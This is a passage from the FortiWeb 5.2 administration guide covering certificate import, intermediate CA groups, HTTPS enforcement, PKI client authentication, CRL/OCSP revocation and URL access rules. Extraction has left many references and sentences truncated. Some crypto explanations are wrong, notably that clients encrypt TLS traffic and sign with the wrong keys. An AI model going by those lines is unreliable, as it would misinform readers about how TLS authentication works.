To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
2. Click Import.
A dialog appears.
3. Configure these settings:
Fortinet
Setting name
Type
Certificate file
Key file
Certificate with key file
Password
Description
Select the type of certificate file to upload, either:
• Local Certificate — An unencrypted certificate in PEM format.
• Certificate — An unencrypted certificate in PEM format.
The key is in a separate file.
• PKCS12 Certificate — A PKCS #12 encrypted certificate with key.
Other fields may appear depending on your selection.
Click Browse to locate the certificate file that you want to upload.
This option is available only if
Type
is Certificate or Local
Certificate.
Click Browse to locate the key file that you want to upload with the certificate.
This option is available only if
Type
is Certificate.
Click Browse to locate the PKCS #12 certificate-with-key file that you want to upload.
This option is available only if
Type
is PKCS12 Certificate.
Type the password that was used to encrypt the file, enabling the FortiWeb appliance to decrypt and install the certificate.
This option is available only if
Type
is Certificate or PKCS12
Certificate.
4. Click OK.
307 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
5. To use a certificate, you must select it in a policy or server farm (see
“Configuring a server policy” on page 509
or “Grouping your web servers into server farms” on page 268 ).
See also
•
Supplementing a server certificate with its signing chain
•
Revoking certificates by OCSP query
•
•
Grouping your web servers into server farms
•
How to offload or inspect HTTPS
Supplementing a server certificate with its signing chain
If a server certificate is signed by an intermediate (non-root) certificate authority rather than a root CA, before the client will trust the server’s certificate, you must demonstrate a link with trusted root CAs, thereby proving that the server’s certificate is genuine. Otherwise, the server certificate may cause the end-user’s web browser to display certificate warnings.
If you did not append the signing chain inside the server certificate itself, you must configure the
FortiWeb appliance to provide the certificates of intermediate CAs when it presents the server certificate.
To upload an intermediate CA’s certificate
The total file size of all certificates, private keys, and any other uploaded files may not exceed
12 MB.
1. Go to System > Certificates > Intermediate CA.
You can click View Certificate Detail to view the selected certificate’s subject, range of dates within which the certificate is valid, version number, serial number, and extensions
(purposes).
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
2. To upload a certificate, click Import.
A dialog appears.
308 FortiWeb 5.2 Patch 2 Administration Guide
3. Do one of the following to locate a certificate:
• Select SCEP and enter the URL of the applicable Simple Certificate Enrollment Protocol server. (SCEP allows routers and other intermediate network devices to obtain certificates.)
To specify a specific certificate authority, enter an identifier in the field below the URL.
• Select Local PC, then browse to locate a certificate file.
4. Click OK.
5. Go to System > Certificates > Intermediate CA Group.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
6. Click Create New.
A dialog appears.
Clear
Edit
Delete
7. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
8. Click OK.
9. Click Create New.
A dialog appears.
Fortinet
10.In ID, type the index number of the host entry within the group, or keep the field’s default value of auto to let the FortiWeb appliance automatically assign the next available index number.
11.In CA, select the name of an intermediary CA’s certificate that you previously uploaded and want to add to the group.
12.Click OK.
13.Repeat the previous steps for each intermediary CA certificate that you want to add to the group.
14.To apply an intermediary CA certificate group, select it in
Certificate Intermediate Group
in a policy that uses HTTPS, with the server certificate that was signed by those CAs (see
“Configuring a server policy” on page 509
).
The FortiWeb appliance will present both the server’s certificate and those of the intermediate CAs when establishing a secure connection with the client.
309 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Supplementing a server certificate with its signing chain
•
How operation mode affects server policy behavior
How to force clients to use HTTPS
Most users are unaware of protocols and security. Even if your web sites offer secure services, users will still try to access web sites using HTTP.
As a result, for practical reasons, usually you must offer at least an HTTP service that redirects requests to HTTPS. Even then, if a man-in-the-middle attacker or CRL causes a certificate validation error, many users will incorrectly assume it is harmless, and click through the alert dialog to access the web site anyway — sometimes called “click-through insecurity.” The resulting unsecured connection exposes sensitive data and their login credentials.
Newer versions of major browsers such as Mozilla Firefox and Google Chrome have a built-in list of frequently attacked web sites such as gmail.com and twitter.com. The browser will only allow them to be accessed via HTTPS. This prevents users from ever accidentally exposing sensitive data via clear text HTTP. Additionally, the browser will not show click-through certificate validation error dialogs to the user, preventing them from ignoring and bypassing fatal security errors.
Similarly, you can also force clients to use only HTTPS when connecting to your web sites. To do this, when FortiWeb is performing SSL/TLS offloading, configure it include the RFC 6797 strict transport security header. All compliant clients will require access to that domain name to
To force clients to connect only via HTTPS
1. If you want to redirect clients that initially attempt to use HTTP, configure an HTTP-to-HTTPS
redirect. See “Example: HTTP-to-HTTPS redirect” on page 386
and
“Rewriting & redirecting” on page 379
.
2. When configuring the server policy, enable
See also
•
Indicating to back-end web servers that the client’s request was HTTPS
How to apply PKI client authentication (personal certificates)
If your clients will connect to your web sites using HTTPS, you can configure FortiWeb to require clients to present a personal certificate during the handshake in order to confirm their identities. This is sometimes called public key infrastructure (PKI) authentication ( RFC 5280 ).
Because FortiWeb presents its own server certificate to the client before requesting one from the client, all PKI authentication with FortiWeb is actually mutual (2-way) authentication.
In addition to FortiWeb verifying client certificates, you can configure FortiWeb to forward client certificates to the back-end server, whether for additional verification or identity-based
“Configuring a server policy” on page 509 .
Fortinet
PKI authentication is an alternative to traditional password-based authentication. The traditional method is based on “what you know” — a password used for authentication. PKI authentication is based on “what you have” — a private key related to the certificate bound to only one person.
310 FortiWeb 5.2 Patch 2 Administration Guide
PKI authentication may be preferable for devices where it is onerous for the person to type a password, such as an Android or iPhone smart phone.
A known weakness of traditional password based authentication is the vulnerability to password guessing or brute force attack. Despite your admonitions, many users will still choose weak passwords either because they do not understand what makes a password “strong,” because they do not understand the risks that it poses to the organization, or because they cannot remember a randomized password.
PKI authentication is far more resilient to brute force attacks, and does not require end-users to remember anything, so it is stronger than a password.
For even stronger authentication, you can combine PKI authentication with HTTP or form-based authentication. For more information, see
“Authentication styles” on page 230 .
Figure 43:Bilateral authentication
PKI authentication relies on these factors to strongly confirm identity:
•
Sole private key possession
— Like with all X.509 certificates, a client’s identity can only be irrefutably confirmed if no one else except that person has that certificate’s private key.
The private key is a randomized string of text that has a hard-to-guess relationship with its corresponding public key. As such, it features cryptographic protection that passwords lack:
Fortinet 311 FortiWeb 5.2 Patch 2 Administration Guide
passwords do not necessarily have a verifiable, computable relationship with anything.
However, like a password, a private key’s strength depends on it remaining a secret.
Provide the client’s private keys only to that specific client, and transmit and store any backups securely, just as you would for passwords. Failure to store them securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your web sites. (i.e., It damages the property of non-repudiation.)
In the event of potential private key compromise, immediately revoke the corresponding personal certificate. See
“Revoking certificates” on page 336 .
•
Asymmetric encryption
— Public key encryption is a type of asymmetric encryption: it is based upon two keys that are different — but exactly paired — mathematical complements.
Fortinet
Only the private key can decrypt data that was encrypted by its public key. The inverse is also true: only the public key can decrypt data that was encrypted by its private key. This is true, for example, in the RSA cryptographic algorithm.
312 FortiWeb 5.2 Patch 2 Administration Guide
Figure 44:RSA algorithm
Fortinet
SSL 3.0 or TLS 1.0 is required. During an SSL or TLS handshake, the client and server (in this case, FortiWeb) negotiate which of their supported cryptographic algorithms to use, and exchange certificate(s). After the server receives the client’s certificate with its public key, the client will encrypt subsequent communications using its private key. As a result, if the server can decrypt messages using the public key, it knows that they originate from the originally connecting client who has the related private key, not an intercepting host (i.e. a man-in-the-middle attack).
Depending on factors such as a misconfigured client, an SSL/TLS connection may in some cases still be vulnerable to man-in-the-middle attacks. There are several steps that you can take to harden security, including using greater bit strengths, updating and properly configuring clients, revoking compromised certificates, and installing only trusted
certificates. See also “Hardening security” on page 641 and
“Configuring FortiWeb to validate client certificates” on page 334 .
Encrypted transmissions can contain a message authentication checksum (MAC) to verify that the message was not altered during transmission by an interceptor.
•
Digital signatures
— Public keys are also used as signatures. Similar to an encrypted message, as long as the private key is possessed by only one individual, any signature generated from it is also guaranteed to come only from that client. The client will sign a certificate with its matching public key.
Because certificate authorities (CA) sign applicants’ certificates, third parties who have that
CA’s certificate can also confirm that that CA certified the applicant’s identity, and the certificate was not forged.
•
Chain of trust
— What if a device does not know the CA that signed the connecting party’s certificate? Since there are many CAs, this is a common scenario.
The solution is to have a root CA in common between the two connecting parties, a “friend of a friend.”
If a root CA is trusted to be genuine and to sign only certificates where it has verified the applicant’s identity, then by induction, all sub-CA’s certificates that the root CA has verifiably signed will also be trusted as genuine. Hence, if a client or server’s certificate can prove that it is either indirectly (through an intermediary CA signed by the root CA) or directly signed by the trusted root CA, that client/server’s certificate will be trusted as genuine.
To configure client PKI authentication
1. Obtain a personal certificate for the client, and its private key, from a CA.
Steps vary by the CA. Personal certificates can be purchased or downloaded from either commercial CAs such as VeriSign, Thawte, or Comodo, or your organization’s own private
CA, such as a Linux server where you use OpenSSL or a Mac OS X server where you have
313 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet set up a CA in Keychain Access. For information on certificate requirements such as extended attributes, see
“Configuring FortiWeb to validate client certificates” on page 334 .
2. Download the CA’s certificate, which contains its public key and therefore can verify any personal certificate that the CA has signed.
Steps vary by the CA.
For a private CA example, see “Example: Downloading the CA’s certificate from
Microsoft Windows 2003 Server” on page 324 .
If you purchased personal certificates from CAs such as VeriSign, Thawte, or Comodo, you should not need to download the certificate: simply export those CAs’ certificates from your
“Uploading trusted CAs’ certificates” on page 297
).
3. Install the personal certificate with its private key on the client.
Steps vary by the client’s operating system and web browser. If the client uses Microsoft
Windows 7, see
4. Upload the CA’s certificate to the FortiWeb’s trust store (see
“Uploading the CA’s certificate to FortiWeb’s trusted CA store” on page 333 ).
5. If you have a certificate revocation list or OCSP server, configure FortiWeb with it (see
“Revoking certificates” on page 336
).
6. Depending on the FortiWeb’s current operation mode, configure either a server policy or server farm to consider CA certificates and CRLs when verifying client certificates (see
“Configuring FortiWeb to validate client certificates” on page 334
).
7. Configure the server policy to accept HTTPS (see
).
Example: Generating & downloading a personal certificate from
Microsoft Windows 2003 Server
If you are running Microsoft Certificate Services on Microsoft Windows 2003 Server, you can use your server as a CA, to generate and sign personal certificates on behalf of your clients.
As part of signing the certificate, the CA will send the finished personal certificate to your web browser. As a result, when you are finished generating, you must export the certificates from your computer’s trust store in order to deploy the certificates to clients.
To generate a personal certificate in Microsoft Windows 2003 Server
1. On your management computer, start your web browser.
2. Go to: https://<ca-server_ipv4>/certsrv/ where <ca-server_ipv4> is the IP address of your CA server.
314 FortiWeb 5.2 Patch 2 Administration Guide
3. Log in as Administrator.
Other accounts may not have sufficient privileges. The Microsoft Certificate Services home page for your server’s CA should appear.
4. Click the Request a certificate link.
The Request a Certificate page appears.
5. Click the advanced certificate request link.
The Advanced Certificate Request page appears.
Fortinet 315 FortiWeb 5.2 Patch 2 Administration Guide
6. Click the Create and submit a request to this CA link.
The Certificate Request Template appears.
Fortinet
7. In the Certificate Template drop-down list, select the Client Authentication template (or a template that you have created for the purpose using Microsoft Management Console
(MMC)).
8. In the Name field, type the name the end-user on behalf of which the client certificate request is being made. This will be the Subject: field in the certificate. Other fields are optional.
9. Click Submit.
The certificate signing request (CSR) is submitted to the CA.
316 FortiWeb 5.2 Patch 2 Administration Guide
10.If a message appears, warning you that the web site is requesting a new certificate on your behalf, click Yes to proceed.
Once the CA server generates the requested certificate, the Certificate Issued window appears.
11.Click the Install this certificate link.
Your browser downloads the certificate, including its private key, and installs it in its trust
store. The certificate’s name is the one you specified in step 8 .
Transmit and store any private key backups securely, just as you would for passwords. Failure to store them securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your web sites. In the event of potential private key compromise, immediately revoke the corresponding personal certificate. See
“Revoking certificates” on page 336 .
12.If a message appears, warning you that the web site is adding one or more certificates to your computer, click Yes to proceed.
The Certificate Installed window appears.
13.Return to the Microsoft Certificate Services (MSCS) home page for your local CA and repeat steps 4 through
for each end-user that will use PKI authentication.
To export and transmit a personal certificate from the trust store on Microsoft Windows 7
1. Start Microsoft Internet Explorer 9.
Fortinet 317 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to Tools [gear icon] > Internet options.
The Internet Options dialog window appears.
3. Click the Content tab.
Fortinet 318 FortiWeb 5.2 Patch 2 Administration Guide
4. Click the Certificates button.
The Certificates dialog window appears. By default, the Personal tab is front most.
5. Click to select a personal certificate in the list.
6. Click Export.
The Certificate Export Wizard dialog appears.
Fortinet 319 FortiWeb 5.2 Patch 2 Administration Guide
7. Click Next.
The Export Private Key step appears.
8. Select Yes, export the private key.
The end-user will require his or her private key in order to authenticate. Without that token (or if many people possess that token), identity cannot be confirmed.
Transmit and store any private key backups securely, just as you would for passwords. Failure to store them securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your web sites. In the event of potential private key compromise, immediately revoke the corresponding personal certificate. See
“Revoking certificates” on page 336 .
Fortinet 320 FortiWeb 5.2 Patch 2 Administration Guide
9. Click Next.
The Export File Format step appears.
10.Select Personal Information Exchange - PKCS #12 (.PFX) as the file format.
11.If you need to absolutely guarantee identity (i.e. not even you, the administrator, will have the end-user’s private key installed — only the end-user will), mark the check box named Delete
the private key if the export is successful.
For improved performance, do not include all CA certificates from the personal certificate’s certification path (i.e. the chain of trust or signing chain). Including the signing chain increases the size of the certificate, which slightly increases the amount of time and traffic volume required to transmit the certificate each time to FortiWeb. Instead, upload those CAs’ certificates to the FortiWeb appliance (see
“Uploading trusted CAs’ certificates” on page 297
).
Fortinet 321 FortiWeb 5.2 Patch 2 Administration Guide
12.Click Next.
The Password step appears.
13.Enter and confirm the spelling of the password that will be used to password-protect and encrypt the exported certificate and its private key.
Fortinet 322 FortiWeb 5.2 Patch 2 Administration Guide
14.Click Next.
The File to Export step appears.
Fortinet
15.In File name, enter a unique file name for the certificate, then click Browse to specify the location where you want to save the exported certificate and private key.
Use a consistent naming convention. This will minimize the likelihood that you confuse one person’s private key with another’s, deliver it to the wrong person, and therefore need to revoke the corresponding certificate and generate a new one.
16.Click Finish to export the certificate and private key.
The certificate and private key are exported in a single file with a .pfx file extension to the
.
If the export is successful, a notice appears.
17.Click OK.
18.Securely transmit both the .pfx file and its password to the end-user, along with instructions on how to install the certificate in his or her web browser’s trust store.
Only provide the client’s private key to that specific client, and transmit and store any backups securely, just as you would for passwords. Failure to store it securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your web sites. In the event of potential private key compromise, immediately revoke the corresponding personal certificate. See
“Revoking certificates” on page 336 .
For example, you could give him or her a USB key in person and instruct the end-user to double-click the file, or install the .pfx in a Microsoft Active Directory roaming profile. See
also “Example: Importing the personal certificate & private key to a client’s trust store on
Microsoft Windows 7” on page 325
.
323 FortiWeb 5.2 Patch 2 Administration Guide
Example: Downloading the CA’s certificate from Microsoft Windows 2003 Server
If you are generated and signed your end-users’ personal certificates using Microsoft Certificate
Services on Microsoft Windows 2003 or 2008 Server, you must download the CA’s certificate and provide it to the FortiWeb appliance so that it will be able to verify the CA signature on each personal certificate.
To download a CA certificate from Microsoft Windows 2003 Server
1. On your management computer, start your web browser.
2. Go to: https://<ca-server_ipv4>/certsrv/ where <ca-server_ipv4> is the IP address of your CA server.
3. Log in as Administrator.
Other accounts may not have sufficient privileges. The Microsoft Certificate Services home page for your server’s CA should appear.
4. Click the Download CA certificate, certificate chain, or CRL link.
The Download a CA Certificate, Certificate Chain, or CRL page appears.
Fortinet
5. From Encoding Method, select Base64.
6. Click Download CA certificate.
324 FortiWeb 5.2 Patch 2 Administration Guide
7. If your browser prompts you, select a location to save the CA’s certificate file.
Example: Importing the personal certificate & private key to a client’s trust store on
Microsoft Windows 7
If you need to import one or two certificates to a person’s computer on his or her behalf, you can manually import the .pfx file.
If you are importing a clients’ personal certificates to their computers on their behalf, for mass distribution, it may save you time to instead deploy certificates via a script or, if the computer is a member of a Microsoft Active Directory domain, a login script or roaming profile.
To harden security, you should also make sure that the browser’s settings are configured to check servers’ certificates (such as FortiWeb’s) with a CRL or OCSP server in case the servers’ certificates become compromised, and must be revoked.
Methods for importing a certificate to the trust store vary by the client’s browser and operating system. In this section are methods for some popular browsers. For other browsers and operating systems, consult the client’s browser documentation.
To import a client certificate into Microsoft Windows 7
1. Start Microsoft Internet Explorer 9.
Alternatively, if you have a .pfx file, double-click it to open the wizard, then skip to step
.
Fortinet 325 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to Tools [gear icon] > Internet options.
The Internet Options dialog window appears.
3. Click the Content tab.
Fortinet 326 FortiWeb 5.2 Patch 2 Administration Guide
4. Click the Certificates button.
The Windows Certificates store dialog window appears. By default, the Personal tab is front most.
5. Click Import.
The Certificate Import Wizard appears.
Fortinet 327 FortiWeb 5.2 Patch 2 Administration Guide
6. Click Next.
The File to Import step appears.
7. If you double-clicked the certificate and private key file to start the wizard, the file is already specified in File name.
Otherwise, click Browse. Go to the location where you downloaded the personal certificate.
From Files of type, select Personal Information Exchange (*.pfx, *.p12), All Files (*.*), or whatever file format was used to export the certificate. Finally, select the certificate file, and click Open.
Fortinet 328 FortiWeb 5.2 Patch 2 Administration Guide
8. Click Next.
The Password step appears.
9. In Password, type the password that was used to secure the private key. (If the certificate was made on your behalf by an administrator, this is the password that the administrator used when exporting your .pfx file. He or she must provide this password to you.)
Fortinet 329 FortiWeb 5.2 Patch 2 Administration Guide
10.Click Next.
The Certificate Store step appears.
Fortinet
11.Select either:
• Automatically select the certificate store based on the type of certificate — Your personal certificate will automatically be placed in the default personal certificate store, as long as it was created correctly.
• Place all certificates in the following store — Click the Browse button to manually indicate your personal certificate store.
12.Click Next.
13.Click Finish.
If the import is successful, a notification appears.
14.Click OK.
The certificate and private key are now imported to the store of certificates specified in step
, which should be the personal certificate store. The person’s browser should now be able to present his or her personal certificate whenever a server requires PKI authentication.
330 FortiWeb 5.2 Patch 2 Administration Guide
15.Click the Advanced tab.
Fortinet
16.In the Settings area, scroll down to the Security settings.
17.Enable Check for server certificate revocation.
18.Click OK to save your settings and close the Internet Options dialog window.
19.Close Internet Explorer.
The Check for server certificate revocation option will not take effect until you restart the browser.
To import a client certificate into Google Chrome on Microsoft Windows 7
1. Start Google Chrome.
2. Click the wrench icon in the top right (Customize and control Google Chrome), then select
Settings... from the drop-down menu that appears. (On Mac OS X, this option is named
Preferences instead.)
The dialog for configuring Google Chrome settings appears. On the left hand navigation menu, the Settings section is selected.
331 FortiWeb 5.2 Patch 2 Administration Guide
3. At the bottom of the page, click Show advanced settings to reveal additional settings, including, towards the bottom of the page, HTTP/SSL.
4. In the HTTPS/SSL area, enable Check for certificate revocation.
5. Click the Manage certificates button.
The Windows Certificates store dialog window appears. (In Mac OS X, this is the Keychain
Access application instead.) By default, the Personal tab is front most. Continue with step 5
in “To import a client certificate into Microsoft Windows 7” on page 325
.
Fortinet 332 FortiWeb 5.2 Patch 2 Administration Guide
Figure 45:Importing a personal certificate in Google Chrome — [Wrench icon] > Options >
Under the Hood, click Manage Certificates, then click Import
Fortinet
Uploading the CA’s certificate to FortiWeb’s trusted CA store
In order for FortiWeb to be able to verify the CA’s signature on client’s personal certificates when they connect, the CA’s certificate must exist in the FortiWeb’s trusted CA certificate store.
You must either:
• upload the certificates of the signing CA and all intermediary CAs to FortiWeb’s store of CA
certificates (see “Uploading trusted CAs’ certificates” on page 297
)
• in all personal certificates, include the full signing chain up to a CA that FortiWeb knows in order to prove that the clients’ certificates should be trusted
To harden security, configure FortiWeb with an OCSP server or regularly update its CRL file in order to immediately revoke a CA’s certificate if has been compromised. See
“Revoking certificates” on page 336
.
333 FortiWeb 5.2 Patch 2 Administration Guide
Configuring FortiWeb to validate client certificates
To be valid, a client certificate must:
• not be expired or not yet valid
• not be revoked by either certificate revocation list (CRL) or, if enabled, online certificate status protocol (OCSP)
• be signed by a certificate authority (CA) whose certificate you have imported into the
FortiWeb appliance (see
“Uploading trusted CAs’ certificates” on page 297
);
• contain a CA field whose value matches a CA’s certificate
• contain an Issuer field whose value matches the Subject field in a CA’s certificate
If the client presents an invalid certificate during PKI authentication for HTTPS, the FortiWeb appliance will not allow the connection.
Certificate validation rules (in the web UI, these are called certificate verification rules) tell
FortiWeb which set of CA certificates to use when validating personal certificates. They also specify a CRL and/or OCSP server, if any, if the client’s certificate must be checked for revocation.
To configure a certificate validation rule
1. Before you can configure a certificate validation rule, you must first configure a CA group
(see
“Grouping trusted CAs’ certificates” on page 299
). You may also need to configure:
•
OCSP (see “Revoking certificates by OCSP query” on page 337 )
•
upload a CRL file (see “Revoking certificates” on page 336 )
if you need to explicitly revoke some invalid or compromised certificates.
2. Go to System > Certificates > Certificate Verify.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
3. Click Create New.
A dialog appears.
4. Configure these settings:
Fortinet
Setting name
Name
CA Group
Description
Type a name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Select the name of an existing CA group that you want to use to
authenticate client certificates. See “Grouping trusted CAs’ certificates” on page 299 .
334 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
OCSP
CRL
Description
Select the name of an existing online certificate status protocol
(OCSP) certificate, if any, that you want to use to verify the revocation status of client certificates. See
“Revoking certificates by OCSP query” on page 337 .
Select the name of an existing certificate revocation list, if any, to use to verify the revocation status of client certificates. See
“Revoking certificates” on page 336 .
5. Click OK.
6. To apply a certificate verification rule, select it in
in a server policy or server farm that includes HTTPS service. For details, see
“Configuring a server policy” on page 509
or “Grouping your web servers into server farms” on page 268
.
When a client connects to the web site, after FortiWeb presents its own server certificate, it will request one from the client.The web browser should display a prompt, allowing the person to indicate which personal certificate he or she wants to present.
Figure 46:A personal certificate prompt in Microsoft Internet Explorer 9
Fortinet
If the connection fails when you have selected a certificate verifier, verify that the certificate meets the web browser’s requirements. Web browsers may have their own certificate validation requirements in addition to FortiWeb's requirements. For example, personal certificates for client authentication may be required to either:
• not be restricted in usage/purpose by the CA, or
• contain a Key Usage field that contains a Digital Signature or have a
ExtendedKeyUsage
or EnhancedKeyUsage field whose value contains
Client Authentication
If the certificate does not satisfy browser requirements, although it may be installed in the client’s store, when the FortiWeb appliance requests the client’s certificate, the browser may not present a certificate selection dialog to the user, or the dialog may not contain that certificate. In that case, verification will fail.
For browser requirements, see your web browser’s documentation.
335 FortiWeb 5.2 Patch 2 Administration Guide
When a PKI authentication attempt fails, if you have enabled logging, attack log messages will be recorded. Messages vary by the cause of the error. Common messages are:
X509 Error 20 - Issuer certificate could not be found
(FortiWeb does not have the certificate of the CA that signed the personal certificate, and therefore cannot verify
the personal certificate; see “Uploading trusted CAs’ certificates” on page 297
)
X509 Error 52 - Get client certificate failed
(the client did not present its personal certificate to FortiWeb, which could be caused by the client not having its personal certificate properly installed; see
“How to apply PKI client authentication (personal certificates)” on page 310
)
X509 Error 53 - Protocol error
(various causes, but could be due to the client and
FortiWeb having no mutually understood cipher suite or protocol version during the SSL/TLS handshake)
For more logs, see the
FortiWeb Log Reference
.
See also
•
How to apply PKI client authentication (personal certificates)
•
•
How to offload or inspect HTTPS
•
Uploading trusted CAs’ certificates
•
Revoking certificates by OCSP query
•
Revoking certificates
To ensure that your FortiWeb appliance validates only certificates that have not been revoked, you should periodically upload a current certificate revocation list (CRL), which may be provided by certificate authorities (CA).
Alternatively, you can use HTTP or online certificate status protocol (OCSP) to query for
certificate status. For more information, see “Revoking certificates by OCSP query” on page 337 .
To view or upload a CRL file
1. Go to System > Certificates > CRL.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
2. To upload a CRL file, click Import.
A dialog appears.
Fortinet 336 FortiWeb 5.2 Patch 2 Administration Guide
3. Do one of the following to locate a CRL file:
• Select HTTP, then enter the URL of an HTTP site providing a CRL service.
• Select SCEP, then enter the URL of the applicable Simple Certificate Enrollment Protocol server. (SCEP allows routers and other intermediate network devices to obtain certificates.)
• Select Local PC, then browse to locate a certificate file.
4. Click OK.
The imported CRL file appears on System > Certificates > CRL with a name automatically assigned by the FortiWeb appliance, such as CRL_1.
5. To use the CRL for client PKI authentication, select the CRL in a certificate verification rule
(see
“Configuring FortiWeb to validate client certificates” on page 334 ).
See also
•
Revoking certificates by OCSP query
Revoking certificates by OCSP query
Online certificate status protocol (OCSP) enables you to revoke or validate certificates by query, rather than by importing certificate revocation list (CRL) files. Since distributing and installing
CRL files can be a considerable burden in large organizations, and because delay between the release and install of the CRL represents a vulnerability window, this can often be preferable.
To use OCSP queries, you must first install the certificates of trusted OCSP/CRL servers.
To view or upload a remote certificate
1. Go to System > Certificates > Remote.
You can click View Certificate Detail to view the selected certificate’s subject, range of dates within which the certificate is valid, version number, serial number, and extensions.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Admin Users category. For details, see
2. To upload a file, click Import.
A dialog appears.
Fortinet
3. Click Browse and locate an OCSP-compatible certificate file.
4. Click Open on the browse window to select the file.
5. Click OK.
).
337 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
How to offload or inspect HTTPS
•
How to export/back up certificates & private keys
Because your X.509 certificates are vital for FortiWeb to protect HTTPS transactions, when preparing a full FortiWeb backup, make sure that your certificates are included. Should
FortiWeb experience hardware failure, this will minimize time required for you to reconfigure a replacement appliance.
To further guarantee service uptime from the perspective of your clients, deploy your FortiWeb in HA. See
“Configuring a high availability (HA) FortiWeb cluster” on page 105 .
Certificates and their private keys are not included when performing a manual backup from the web UI. Instead, you must back up via either:
•
)
•
Fortinet 338 FortiWeb 5.2 Patch 2 Administration Guide
Access control
You can control clients’ access to your web applications and limit the rate of requests. There are multiple ways to do this, depending on whether your goal is to act based upon the URL, the client’s source IP, or something more complex.
See also
•
•
•
Enforcing page order that follows application logic
•
Specifying URLs allowed to initiate sessions
•
Specifying allowed HTTP methods
Restricting access to specific URLs
You can configure rules that define which HTTP requests FortiWeb accepts or denies based on their Host: name and URL, as well as the origin of the request.
Typically, for example, access to administrative panels for your web application should only be allowed if the client’s source IP address is an administrator’s computer on your private management network. Unauthenticated access from unknown locations increases risk of compromise. Best practice dictates that such risk should be minimized.
balancer or other web proxy that applies source NAT, this feature will not work.
URL access rules are evaluated after some other rules. As a result, permitted access still could be denied if it violates one of the rules that execute prior in the sequence. For details, see
“Sequence of scans” on page 21 .
You can use SNMP traps to notify you when a URL access rule is enforced. For details, see
“SNMP traps & queries” on page 612
.
To configure an URL access rule
1. Go to Web Protection > Access > URL Access Rule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Click Create New.
A dialog appears.
Fortinet 339 FortiWeb 5.2 Patch 2 Administration Guide
3. Configure these settings:
Fortinet
Clear all
Edit
Delete
Setting name
Name
Description
Host Status Enable to require that the Host: field of the HTTP request match a protected host names entry in order to match the URL access rule. Also configure
Host
.
Host
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match the
URL access rule.
Action
This option is available only if
Host Status
is enabled.
Select the action that FortiWeb takes when it detects a violation of the rule.
Supported options vary (available options are listed in the description for each specific rule), but may include:
• Alert & Deny — Block the request (reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
or
• Pass — Allow the request. Do not generate an alert and/or log message.
• Continue — Generate an alert and/or log message, then continue by evaluating any subsequent rules defined in the web protection profile (see
“Sequence of scans” on page 21
). If no other rules are violated, allow the request. If multiple rules are violated, a single request will generate multiple attack log messages.
The default value is Alert.
Caution:
This setting will be ignored if
Note:
Logging and/or alert email will occur only if enabled and configured.
See
Note:
If you will use this rule set with auto-learning, you should select Pass or Continue. If
Action
is Alert & Deny, or any other option that causes the
FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
340 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Severity
Description
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
Trigger
Action
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs
and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 587 .
4. Click OK.
5. Click Create New to add an entry to the set.
A dialog appears.
6. Configure these settings:
Fortinet
Setting name
ID
Source
Address
Source
Address
Type
Description
Type the index number of the individual rule within the URL access rule, or keep the field’s default value of auto to let the FortiWeb appliance automatically assign the next available index number.
Enable to add the client’s source IP address as a criteria for matching the
URL access rule. Also configure
Source Address Type
and either
IP
or
Domain
.
Select how you want to define matching client source IPs, by either:
• IPv4/IPv6 / IP Range — Configure
IP
.
• Domain — Configure
Domain
.
341 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
IP
Domain
Enter one of the following values:
• A single IP address that a client source IP must match, such as a trusted private network IP address (e.g. an administrator’s computer,
172.16.1.20
).
• A range or addresses (e.g., 172.22.14.1-172.22.14.255 or
10:200::10:1-10:200:10:100
).
This option appears only if
Source Address Type
is IP.
Type the fully qualified domain name (FQDN) that a client source IP must reverse resolve to in order to match.
URL Type
This option appears only if
Source Address Type
is Domain.
Select whether the
URL Pattern
field will contain a literal URL (Simple String), or a regular expression designed to match multiple URLs (Regular
Expression).
URL Pattern Depending on your selection in
URL Type
, enter either:
• the literal URL, such as /admin.php. The URL must begin with a slash
( / ).
• a regular expression, such as ^/admin*.php, matching all and only the desired URLs. The pattern does not require a slash ( / ). However, it must at least match URLs that begin with a slash, such as /admin.cfm.
When you finish typing the regular expression, click the >> (test) icon.
This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
Meet this condition if:
Do not include the domain name, such as www.example.com, which is configured separately in the
Host
drop-down list for the URL access rule.
Select whether the access condition is met when the HTTP request matches both the regular expression (or text string) and source IP address of the client, or when it does not match the regular expression (or text string) and/or source IP address of the client.
7. Click OK.
8. Repeat the previous steps for each individual condition that you want to add to the URL access rule.
9. Go to Web Protection > Access > URL Access Policy.
